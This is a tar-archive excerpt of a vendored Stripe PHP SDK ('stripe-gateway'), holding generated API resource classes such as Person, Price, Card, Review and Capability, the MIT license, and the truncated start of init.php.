$address_kanji The Kanji variation of the person's address (Japan only). * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|\Stripe\StripeObject $dob * @property null|string $email The person's email address. * @property null|string $first_name The person's first name. * @property null|string $first_name_kana The Kana variation of the person's first name (Japan only). * @property null|string $first_name_kanji The Kanji variation of the person's first name (Japan only). * @property null|string[] $full_name_aliases A list of alternate names or aliases that the person is known by. * @property null|\Stripe\StripeObject $future_requirements Information about the <a href="https://stripe.com/docs/connect/custom-accounts/future-requirements">upcoming new requirements for this person</a>, including what information needs to be collected, and by when. * @property null|string $gender The person's gender (International regulations require either "male" or "female"). * @property null|bool $id_number_provided Whether the person's <code>id_number</code> was provided. True if either the full ID number was provided or if only the required part of the ID number was provided (ex. last four of an individual's SSN for the US indicated by <code>ssn_last_4_provided</code>). * @property null|bool $id_number_secondary_provided Whether the person's <code>id_number_secondary</code> was provided. * @property null|string $last_name The person's last name. * @property null|string $last_name_kana The Kana variation of the person's last name (Japan only). * @property null|string $last_name_kanji The Kanji variation of the person's last name (Japan only). * @property null|string $maiden_name The person's maiden name. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string $nationality The country where the person is a national. * @property null|string $phone The person's phone number. * @property null|string $political_exposure Indicates if the person or any of their representatives, family members, or other closely related persons, declares that they hold or have held an important public job or function, in any jurisdiction. * @property null|\Stripe\StripeObject $registered_address * @property null|\Stripe\StripeObject $relationship * @property null|\Stripe\StripeObject $requirements Information about the requirements for this person, including what information needs to be collected, and by when. * @property null|bool $ssn_last_4_provided Whether the last four digits of the person's Social Security number have been provided (U.S. only). * @property null|\Stripe\StripeObject $verification */ class Person extends ApiResource { const OBJECT_NAME = 'person'; const GENDER_FEMALE = 'female'; const GENDER_MALE = 'male'; const POLITICAL_EXPOSURE_EXISTING = 'existing'; const POLITICAL_EXPOSURE_NONE = 'none'; const VERIFICATION_STATUS_PENDING = 'pending'; const VERIFICATION_STATUS_UNVERIFIED = 'unverified'; const VERIFICATION_STATUS_VERIFIED = 'verified'; use ApiOperations\Delete; /** * @return string the API URL for this Stripe account reversal */ public function instanceUrl() { $id = $this['id']; $account = $this['account']; if (!$id) { throw new Exception\UnexpectedValueException( 'Could not determine which URL to request: ' . "class instance has invalid ID: {$id}", null ); } $id = Util\Util::utf8($id); $account = Util\Util::utf8($account); $base = Account::classUrl(); $accountExtn = \urlencode($account); $extn = \urlencode($id); return "{$base}/{$accountExtn}/persons/{$extn}"; } /** * @param array|string $_id * @param null|array|string $_opts * * @throws \Stripe\Exception\BadMethodCallException */ public static function retrieve($_id, $_opts = null) { $msg = 'Persons cannot be retrieved without an account ID. Retrieve ' . "a person using `Account::retrievePerson('account_id', " . "'person_id')`."; throw new Exception\BadMethodCallException($msg); } /** * @param string $_id * @param null|array $_params * @param null|array|string $_options * * @throws \Stripe\Exception\BadMethodCallException */ public static function update($_id, $_params = null, $_options = null) { $msg = 'Persons cannot be updated without an account ID. Update ' . "a person using `Account::updatePerson('account_id', " . "'person_id', \$updateParams)`."; throw new Exception\BadMethodCallException($msg); } /** * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return static the saved resource * * @deprecated The `save` method is deprecated and will be removed in a * future major version of the library. Use the static method `update` * on the resource instead. */ public function save($opts = null) { $params = $this->serializeParameters(); if (\count($params) > 0) { $url = $this->instanceUrl(); list($response, $opts) = $this->_request('post', $url, $params, $opts, ['save']); $this->refreshFrom($response, $opts); } return $this; } } �����������������������stripe-gateway/lib/SourceTransaction.php������������������������������������������������������������0000644�����������������00000004704�14720677707�0014464 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Some payment methods have no required amount that a customer must send. * Customers can be instructed to send any amount, and it can be made up of * multiple transactions. As such, sources can have multiple associated * transactions. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $ach_credit_transfer * @property int $amount A positive integer in the smallest currency unit (that is, 100 cents for $1.00, or 1 for ¥1, Japanese Yen being a zero-decimal currency) representing the amount your customer has pushed to the receiver. * @property null|\Stripe\StripeObject $chf_credit_transfer * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|\Stripe\StripeObject $gbp_credit_transfer * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $paper_check * @property null|\Stripe\StripeObject $sepa_credit_transfer * @property string $source The ID of the source this transaction is attached to. * @property string $status The status of the transaction, one of <code>succeeded</code>, <code>pending</code>, or <code>failed</code>. * @property string $type The type of source this transaction is attached to. */ class SourceTransaction extends ApiResource { const OBJECT_NAME = 'source_transaction'; const TYPE_ACH_CREDIT_TRANSFER = 'ach_credit_transfer'; const TYPE_ACH_DEBIT = 'ach_debit'; const TYPE_ALIPAY = 'alipay'; const TYPE_BANCONTACT = 'bancontact'; const TYPE_CARD = 'card'; const TYPE_CARD_PRESENT = 'card_present'; const TYPE_EPS = 'eps'; const TYPE_GIROPAY = 'giropay'; const TYPE_IDEAL = 'ideal'; const TYPE_KLARNA = 'klarna'; const TYPE_MULTIBANCO = 'multibanco'; const TYPE_P24 = 'p24'; const TYPE_SEPA_DEBIT = 'sepa_debit'; const TYPE_SOFORT = 'sofort'; const TYPE_THREE_D_SECURE = 'three_d_secure'; const TYPE_WECHAT = 'wechat'; } ������������������������������������������������������������stripe-gateway/lib/Price.php������������������������������������������������������������������������0000644�����������������00000021663�14720677707�0012063 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Prices define the unit cost, currency, and (optional) billing cycle for both recurring and one-time purchases of products. * <a href="https://stripe.com/docs/api#products">Products</a> help you track inventory or provisioning, and prices help you track payment terms. Different physical goods or levels of service should be represented by products, and pricing options should be represented by prices. This approach lets you change prices without having to change your provisioning scheme. * * For example, you might have a single "gold" product that has prices for $10/month, $100/year, and €9 once. * * Related guides: <a href="https://stripe.com/docs/billing/subscriptions/set-up-subscription">Set up a subscription</a>, <a href="https://stripe.com/docs/billing/invoices/create">create an invoice</a>, and more about <a href="https://stripe.com/docs/products-prices/overview">products and prices</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property bool $active Whether the price can be used for new purchases. * @property string $billing_scheme Describes how to compute the price per period. Either <code>per_unit</code> or <code>tiered</code>. <code>per_unit</code> indicates that the fixed amount (specified in <code>unit_amount</code> or <code>unit_amount_decimal</code>) will be charged per unit in <code>quantity</code> (for prices with <code>usage_type=licensed</code>), or per unit of total usage (for prices with <code>usage_type=metered</code>). <code>tiered</code> indicates that the unit pricing will be computed using a tiering strategy as defined using the <code>tiers</code> and <code>tiers_mode</code> attributes. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|\Stripe\StripeObject $currency_options Prices defined in each available currency option. Each key must be a three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a> and a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|\Stripe\StripeObject $custom_unit_amount When set, provides configuration for the amount to be adjusted by the customer during Checkout Sessions and Payment Links. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|string $lookup_key A lookup key used to retrieve prices dynamically from a static string. This may be up to 200 characters. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string $nickname A brief description of the price, hidden from customers. * @property string|\Stripe\Product $product The ID of the product this price is associated with. * @property null|\Stripe\StripeObject $recurring The recurring components of a price such as <code>interval</code> and <code>usage_type</code>. * @property null|string $tax_behavior Only required if a <a href="https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)">default tax behavior</a> was not provided in the Stripe Tax settings. Specifies whether the price is considered inclusive of taxes or exclusive of taxes. One of <code>inclusive</code>, <code>exclusive</code>, or <code>unspecified</code>. Once specified as either <code>inclusive</code> or <code>exclusive</code>, it cannot be changed. * @property null|\Stripe\StripeObject[] $tiers Each element represents a pricing tier. This parameter requires <code>billing_scheme</code> to be set to <code>tiered</code>. See also the documentation for <code>billing_scheme</code>. * @property null|string $tiers_mode Defines if the tiering price should be <code>graduated</code> or <code>volume</code> based. In <code>volume</code>-based tiering, the maximum quantity within a period determines the per unit price. In <code>graduated</code> tiering, pricing can change as the quantity grows. * @property null|\Stripe\StripeObject $transform_quantity Apply a transformation to the reported usage or set quantity before computing the amount billed. Cannot be combined with <code>tiers</code>. * @property string $type One of <code>one_time</code> or <code>recurring</code> depending on whether the price is for a one-time purchase or a recurring (subscription) purchase. * @property null|int $unit_amount The unit amount in cents (or local equivalent) to be charged, represented as a whole integer if possible. Only set if <code>billing_scheme=per_unit</code>. * @property null|string $unit_amount_decimal The unit amount in cents (or local equivalent) to be charged, represented as a decimal string with at most 12 decimal places. Only set if <code>billing_scheme=per_unit</code>. */ class Price extends ApiResource { const OBJECT_NAME = 'price'; use ApiOperations\Update; const BILLING_SCHEME_PER_UNIT = 'per_unit'; const BILLING_SCHEME_TIERED = 'tiered'; const TAX_BEHAVIOR_EXCLUSIVE = 'exclusive'; const TAX_BEHAVIOR_INCLUSIVE = 'inclusive'; const TAX_BEHAVIOR_UNSPECIFIED = 'unspecified'; const TIERS_MODE_GRADUATED = 'graduated'; const TIERS_MODE_VOLUME = 'volume'; const TYPE_ONE_TIME = 'one_time'; const TYPE_RECURRING = 'recurring'; /** * Creates a new price for an existing product. The price can be recurring or * one-time. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Price the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of your active prices, excluding <a * href="/docs/products-prices/pricing-models#inline-pricing">inline prices</a>. * For the list of inactive prices, set <code>active</code> to false. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Price> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the price with the given ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Price */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the specified price by setting the values of the parameters passed. Any * parameters not provided are left unchanged. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Price the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SearchResult<\Stripe\Price> the price search results */ public static function search($params = null, $opts = null) { $url = '/v1/prices/search'; return static::_requestPage($url, \Stripe\SearchResult::class, $params, $opts); } } �����������������������������������������������������������������������������stripe-gateway/lib/Card.php�������������������������������������������������������������������������0000644�����������������00000024377�14720677707�0011677 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * You can store multiple cards on a customer in order to charge the customer * later. You can also store multiple debit cards on a recipient in order to * transfer to those cards later. * * Related guide: <a href="https://stripe.com/docs/sources/cards">Card payments with Sources</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string|\Stripe\Account $account The account this card belongs to. This attribute will not be in the card object if the card belongs to a customer or recipient instead. This property is only available for accounts where <a href="/api/accounts/object#account_object-controller-requirement_collection">controller.requirement_collection</a> is <code>application</code>, which includes Custom accounts. * @property null|string $address_city City/District/Suburb/Town/Village. * @property null|string $address_country Billing address country, if provided when creating card. * @property null|string $address_line1 Address line 1 (Street address/PO Box/Company name). * @property null|string $address_line1_check If <code>address_line1</code> was provided, results of the check: <code>pass</code>, <code>fail</code>, <code>unavailable</code>, or <code>unchecked</code>. * @property null|string $address_line2 Address line 2 (Apartment/Suite/Unit/Building). * @property null|string $address_state State/County/Province/Region. * @property null|string $address_zip ZIP or postal code. * @property null|string $address_zip_check If <code>address_zip</code> was provided, results of the check: <code>pass</code>, <code>fail</code>, <code>unavailable</code>, or <code>unchecked</code>. * @property null|string[] $available_payout_methods A set of available payout methods for this card. Only values from this set should be passed as the <code>method</code> when creating a payout. * @property string $brand Card brand. Can be <code>American Express</code>, <code>Diners Club</code>, <code>Discover</code>, <code>Eftpos Australia</code>, <code>JCB</code>, <code>MasterCard</code>, <code>UnionPay</code>, <code>Visa</code>, or <code>Unknown</code>. * @property null|string $country Two-letter ISO code representing the country of the card. You could use this attribute to get a sense of the international breakdown of cards you've collected. * @property null|string $currency Three-letter <a href="https://stripe.com/docs/payouts">ISO code for currency</a>. Only applicable on accounts (not customers or recipients). The card can be used as a transfer destination for funds in this currency. This property is only available for accounts where <a href="/api/accounts/object#account_object-controller-requirement_collection">controller.requirement_collection</a> is <code>application</code>, which includes Custom accounts. * @property null|string|\Stripe\Customer $customer The customer that this card belongs to. This attribute will not be in the card object if the card belongs to an account or recipient instead. * @property null|string $cvc_check If a CVC was provided, results of the check: <code>pass</code>, <code>fail</code>, <code>unavailable</code>, or <code>unchecked</code>. A result of unchecked indicates that CVC was provided but hasn't been checked yet. Checks are typically performed when attaching a card to a Customer object, or when creating a charge. For more details, see <a href="https://support.stripe.com/questions/check-if-a-card-is-valid-without-a-charge">Check if a card is valid without a charge</a>. * @property null|bool $default_for_currency Whether this card is the default external account for its currency. This property is only available for accounts where <a href="/api/accounts/object#account_object-controller-requirement_collection">controller.requirement_collection</a> is <code>application</code>, which includes Custom accounts. * @property null|string $dynamic_last4 (For tokenized numbers only.) The last four digits of the device account number. * @property int $exp_month Two-digit number representing the card's expiration month. * @property int $exp_year Four-digit number representing the card's expiration year. * @property null|string $fingerprint <p>Uniquely identifies this particular card number. You can use this attribute to check whether two customers who’ve signed up with you are using the same card number, for example. For payment methods that tokenize card information (Apple Pay, Google Pay), the tokenized number might be provided instead of the underlying card number.</p><p><em>As of May 1, 2021, card fingerprint in India for Connect changed to allow two fingerprints for the same card---one for India and one for the rest of the world.</em></p> * @property string $funding Card funding type. Can be <code>credit</code>, <code>debit</code>, <code>prepaid</code>, or <code>unknown</code>. * @property string $last4 The last four digits of the card. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string $name Cardholder name. * @property null|\Stripe\StripeObject $networks * @property null|string $status For external accounts that are cards, possible values are <code>new</code> and <code>errored</code>. If a payout fails, the status is set to <code>errored</code> and <a href="https://stripe.com/docs/payouts#payout-schedule">scheduled payouts</a> are stopped until account details are updated. * @property null|string $tokenization_method If the card number is tokenized, this is the method that was used. Can be <code>android_pay</code> (includes Google Pay), <code>apple_pay</code>, <code>masterpass</code>, <code>visa_checkout</code>, or null. */ class Card extends ApiResource { const OBJECT_NAME = 'card'; /** * Delete a specified external account for a given account. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Card the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Possible string representations of the CVC check status. * * @see https://stripe.com/docs/api/cards/object#card_object-cvc_check */ const CVC_CHECK_FAIL = 'fail'; const CVC_CHECK_PASS = 'pass'; const CVC_CHECK_UNAVAILABLE = 'unavailable'; const CVC_CHECK_UNCHECKED = 'unchecked'; /** * Possible string representations of the funding of the card. * * @see https://stripe.com/docs/api/cards/object#card_object-funding */ const FUNDING_CREDIT = 'credit'; const FUNDING_DEBIT = 'debit'; const FUNDING_PREPAID = 'prepaid'; const FUNDING_UNKNOWN = 'unknown'; /** * Possible string representations of the tokenization method when using Apple Pay or Google Pay. * * @see https://stripe.com/docs/api/cards/object#card_object-tokenization_method */ const TOKENIZATION_METHOD_APPLE_PAY = 'apple_pay'; const TOKENIZATION_METHOD_GOOGLE_PAY = 'google_pay'; /** * @return string The instance URL for this resource. It needs to be special * cased because cards are nested resources that may belong to different * top-level resources. */ public function instanceUrl() { if ($this['customer']) { $base = Customer::classUrl(); $parent = $this['customer']; $path = 'sources'; } elseif ($this['account']) { $base = Account::classUrl(); $parent = $this['account']; $path = 'external_accounts'; } else { $msg = 'Cards cannot be accessed without a customer ID, or account ID.'; throw new Exception\UnexpectedValueException($msg); } $parentExtn = \urlencode(Util\Util::utf8($parent)); $extn = \urlencode(Util\Util::utf8($this['id'])); return "{$base}/{$parentExtn}/{$path}/{$extn}"; } /** * @param array|string $_id * @param null|array|string $_opts * * @throws \Stripe\Exception\BadMethodCallException */ public static function retrieve($_id, $_opts = null) { $msg = 'Cards cannot be retrieved without a customer ID or an ' . 'account ID. Retrieve a card using ' . "`Customer::retrieveSource('customer_id', 'card_id')` or " . "`Account::retrieveExternalAccount('account_id', 'card_id')`."; throw new Exception\BadMethodCallException($msg); } /** * @param string $_id * @param null|array $_params * @param null|array|string $_options * * @throws \Stripe\Exception\BadMethodCallException */ public static function update($_id, $_params = null, $_options = null) { $msg = 'Cards cannot be updated without a customer ID or an ' . 'account ID. Update a card using ' . "`Customer::updateSource('customer_id', 'card_id', " . '$updateParams)` or `Account::updateExternalAccount(' . "'account_id', 'card_id', \$updateParams)`."; throw new Exception\BadMethodCallException($msg); } /** * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return static the saved resource * * @deprecated The `save` method is deprecated and will be removed in a * future major version of the library. Use the static method `update` * on the resource instead. */ public function save($opts = null) { $params = $this->serializeParameters(); if (\count($params) > 0) { $url = $this->instanceUrl(); list($response, $opts) = $this->_request('post', $url, $params, $opts, ['save']); $this->refreshFrom($response, $opts); } return $this; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Sigma/ScheduledQueryRun.php������������������������������������������������������0000644�����������������00000005367�14720677707�0015477 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Sigma; /** * If you have <a href="https://stripe.com/docs/sigma/scheduled-queries">scheduled a Sigma query</a>, you'll * receive a <code>sigma.scheduled_query_run.created</code> webhook each time the query * runs. The webhook contains a <code>ScheduledQueryRun</code> object, which you can use to * retrieve the query results. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property int $data_load_time When the query was run, Sigma contained a snapshot of your Stripe data at this time. * @property null|\Stripe\StripeObject $error * @property null|\Stripe\File $file The file object representing the results of the query. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property int $result_available_until Time at which the result expires and is no longer available for download. * @property string $sql SQL for the query. * @property string $status The query's execution status, which will be <code>completed</code> for successful runs, and <code>canceled</code>, <code>failed</code>, or <code>timed_out</code> otherwise. * @property string $title Title of the query. */ class ScheduledQueryRun extends \Stripe\ApiResource { const OBJECT_NAME = 'scheduled_query_run'; /** * Returns a list of scheduled query runs. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Sigma\ScheduledQueryRun> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an scheduled query run. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Sigma\ScheduledQueryRun */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } public static function classUrl() { return '/v1/sigma/scheduled_query_runs'; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Capability.php�������������������������������������������������������������������0000644�����������������00000007170�14720677707�0013077 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * This is an object representing a capability for a Stripe account. * * Related guide: <a href="https://stripe.com/docs/connect/account-capabilities">Account capabilities</a> * * @property string $id The identifier for the capability. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property string|\Stripe\Account $account The account for which the capability enables functionality. * @property null|\Stripe\StripeObject $future_requirements * @property bool $requested Whether the capability has been requested. * @property null|int $requested_at Time at which the capability was requested. Measured in seconds since the Unix epoch. * @property null|\Stripe\StripeObject $requirements * @property string $status The status of the capability. Can be <code>active</code>, <code>inactive</code>, <code>pending</code>, or <code>unrequested</code>. */ class Capability extends ApiResource { const OBJECT_NAME = 'capability'; const STATUS_ACTIVE = 'active'; const STATUS_INACTIVE = 'inactive'; const STATUS_PENDING = 'pending'; const STATUS_UNREQUESTED = 'unrequested'; /** * @return string the API URL for this Stripe account reversal */ public function instanceUrl() { $id = $this['id']; $account = $this['account']; if (!$id) { throw new Exception\UnexpectedValueException( 'Could not determine which URL to request: ' . "class instance has invalid ID: {$id}", null ); } $id = Util\Util::utf8($id); $account = Util\Util::utf8($account); $base = Account::classUrl(); $accountExtn = \urlencode($account); $extn = \urlencode($id); return "{$base}/{$accountExtn}/capabilities/{$extn}"; } /** * @param array|string $_id * @param null|array|string $_opts * * @throws \Stripe\Exception\BadMethodCallException */ public static function retrieve($_id, $_opts = null) { $msg = 'Capabilities cannot be retrieved without an account ID. ' . 'Retrieve a capability using `Account::retrieveCapability(' . "'account_id', 'capability_id')`."; throw new Exception\BadMethodCallException($msg); } /** * @param string $_id * @param null|array $_params * @param null|array|string $_options * * @throws \Stripe\Exception\BadMethodCallException */ public static function update($_id, $_params = null, $_options = null) { $msg = 'Capabilities cannot be updated without an account ID. ' . 'Update a capability using `Account::updateCapability(' . "'account_id', 'capability_id', \$updateParams)`."; throw new Exception\BadMethodCallException($msg); } /** * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return static the saved resource * * @deprecated The `save` method is deprecated and will be removed in a * future major version of the library. Use the static method `update` * on the resource instead. */ public function save($opts = null) { $params = $this->serializeParameters(); if (\count($params) > 0) { $url = $this->instanceUrl(); list($response, $opts) = $this->_request('post', $url, $params, $opts, ['save']); $this->refreshFrom($response, $opts); } return $this; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/index.html�����������������������������������������������������������������������0000644�����������������00000000000�14720677707�0012263 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Review.php�����������������������������������������������������������������������0000644�����������������00000011525�14720677707�0012256 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Reviews can be used to supplement automated fraud detection with human expertise. * * Learn more about <a href="/radar">Radar</a> and reviewing payments * <a href="https://stripe.com/docs/radar/reviews">here</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string $billing_zip The ZIP or postal code of the card used, if applicable. * @property null|string|\Stripe\Charge $charge The charge associated with this review. * @property null|string $closed_reason The reason the review was closed, or null if it has not yet been closed. One of <code>approved</code>, <code>refunded</code>, <code>refunded_as_fraud</code>, <code>disputed</code>, or <code>redacted</code>. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string $ip_address The IP address where the payment originated. * @property null|\Stripe\StripeObject $ip_address_location Information related to the location of the payment. Note that this information is an approximation and attempts to locate the nearest population center - it should not be used to determine a specific address. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property bool $open If <code>true</code>, the review needs action. * @property string $opened_reason The reason the review was opened. One of <code>rule</code> or <code>manual</code>. * @property null|string|\Stripe\PaymentIntent $payment_intent The PaymentIntent ID associated with this review, if one exists. * @property string $reason The reason the review is currently open or closed. One of <code>rule</code>, <code>manual</code>, <code>approved</code>, <code>refunded</code>, <code>refunded_as_fraud</code>, <code>disputed</code>, or <code>redacted</code>. * @property null|\Stripe\StripeObject $session Information related to the browsing session of the user who initiated the payment. */ class Review extends ApiResource { const OBJECT_NAME = 'review'; const CLOSED_REASON_APPROVED = 'approved'; const CLOSED_REASON_DISPUTED = 'disputed'; const CLOSED_REASON_REDACTED = 'redacted'; const CLOSED_REASON_REFUNDED = 'refunded'; const CLOSED_REASON_REFUNDED_AS_FRAUD = 'refunded_as_fraud'; const OPENED_REASON_MANUAL = 'manual'; const OPENED_REASON_RULE = 'rule'; /** * Returns a list of <code>Review</code> objects that have <code>open</code> set to * <code>true</code>. The objects are sorted in descending order by creation date, * with the most recently created object appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Review> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a <code>Review</code> object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Review */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Possible string representations of the current, the opening or the closure reason of the review. * Not all of these enumeration apply to all of the ´reason´ fields. Please consult the Review object to * determine where these are apply. * * @see https://stripe.com/docs/api/radar/reviews/object */ const REASON_APPROVED = 'approved'; const REASON_DISPUTED = 'disputed'; const REASON_MANUAL = 'manual'; const REASON_REFUNDED = 'refunded'; const REASON_REFUNDED_AS_FRAUD = 'refunded_as_fraud'; const REASON_RULE = 'rule'; /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Review the approved review */ public function approve($params = null, $opts = null) { $url = $this->instanceUrl() . '/approve'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/LICENSE������������������������������������������������������������������������������0000644�����������������00000002140�14720677707�0010534 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������The MIT License Copyright (c) 2010-2019 Stripe, Inc. (https://stripe.com) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/init.php�����������������������������������������������������������������������������0000644�����������������00000044703�14720677707�0011216 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php require __DIR__ . '/lib/Util/ApiVersion.php'; // Stripe singleton require __DIR__ . '/lib/Stripe.php'; // Utilities require __DIR__ . '/lib/Util/CaseInsensitiveArray.php'; require __DIR__ . '/lib/Util/LoggerInterface.php'; require __DIR__ 